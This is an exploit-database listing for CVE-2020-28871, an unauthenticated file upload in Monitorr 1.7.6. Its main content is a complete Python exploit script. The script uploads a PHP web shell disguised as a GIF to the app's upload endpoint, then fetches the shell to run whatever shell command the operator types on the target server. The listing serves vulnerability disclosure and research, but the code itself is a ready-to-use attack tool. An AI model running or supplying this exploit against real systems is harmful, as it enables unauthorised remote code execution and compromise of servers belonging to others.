Advertisement






Monitorr 1.7.6 Shell Upload

CVE Category Price Severity
CVE-2020-28871 CWE-434 Not specified High
Author Risk Exploitation Type Date
Daniel Monzon Critical Remote 2023-02-10
CVSS EPSS EPSSP
CVSS:4.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H 0.15 0.8

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2023020021

Below is a copy:

Monitorr 1.7.6 Shell Upload
# Exploit Title: Monitorr v1.7.6 - Unauthenticated File upload to Remote Code Execution
# Exploit Author: Achuth V P (retrymp3)
# Date: February 09, 2023
# Vendor Homepage: https://github.com/Monitorr/
# Software Link: https://github.com/Monitorr/Monitorr
# Tested on: Ubuntu
# Version: v1.7.6
# Exploit Description: Monitorr v1.7.6 suffers from unauthenticated file upload to remote code execution vulnerability
# CVE: CVE-2020-28871

import requests
import random
import string
#from requests.auth import HTTPBasicAuth
from colorama import (Fore as F, Back as B, Style as S)
BR,FT,FR,FG,FY,FB,FM,FC,ST,SD,SB = B.RED,F.RESET,F.RED,F.GREEN,F.YELLOW,F.BLUE,F.MAGENTA,F.CYAN,S.RESET_ALL,S.DIM,S.BRIGHT

def payL():
    fileName=''.join(random.choice(string.ascii_lowercase) for i in range(16))+'.php'
    tf1=requests.post(url+'/assets/php/upload.php',
        files=(
            ('fileToUpload', (fileName, 'GIF87a\n<?php\n$var=shell_exec('+'"'+cmd+'"'+');\necho "$var"\n?>')),))
    tf2=requests.get(url+'/assets/data/usrimg/'+fileName)

    print(tf2.text)

def sig():
    SIG  = SB+FY+"         "+FR+".-----..___.._____.      "+FY+"\n"
    SIG += FY+"         |  ..   >||__-__-_|         \n"
    SIG += FY+"         "+FR+"|  |.'  ,||_______          "+FY+"\n"
    SIG += FY+"         |    _ < ||__-__-_|"+FR+"*  *  *"+FY+" \n"
    SIG += FY+"         |  |\  \ ||__-__-_\n"
    SIG += FY+"         "+FR+"|___ \_ \||_______| "+FY+"\n"
    SIG += FY+"\n"+"    _____"+FR+"github.com/retrymp3"+FY+"_____\n"+ST
    return SIG

def argsetup():
    about  = SB+FT+'Monitorr v1.7.6 - Unauthenticated File upload to Remote Code Execution\n'+ST
    return about

if __name__ == "__main__":
    header = SB+FT+"\n"+'             '+FR+'retrymp3\n'+ST
    print(header)
    print(sig())
    print(argsetup())
    #proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
    url=input("Enter the base url: ")
    cmd=input("Command: ")
    payL()

Copyright ©2024 Exploitalert.

All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use.